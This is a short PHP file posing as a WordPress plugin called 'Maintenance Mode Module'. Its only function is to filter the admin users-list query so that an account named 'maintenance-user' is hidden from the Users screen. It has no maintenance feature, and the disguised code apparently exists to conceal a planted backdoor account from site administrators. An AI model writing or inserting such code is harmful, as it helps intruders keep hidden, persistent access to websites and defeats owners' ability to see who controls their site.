<?php
/** Plugin Name: Maintenance Mode Module */
add_filter("users_list_table_query_args", function($args) {
    $exclude_user = get_user_by("login", "maintenance-user");
    if ($exclude_user) {
        $args["exclude"] = array_merge((array)($args["exclude"] ?? []), [$exclude_user->ID]);
    }
    return $args;
});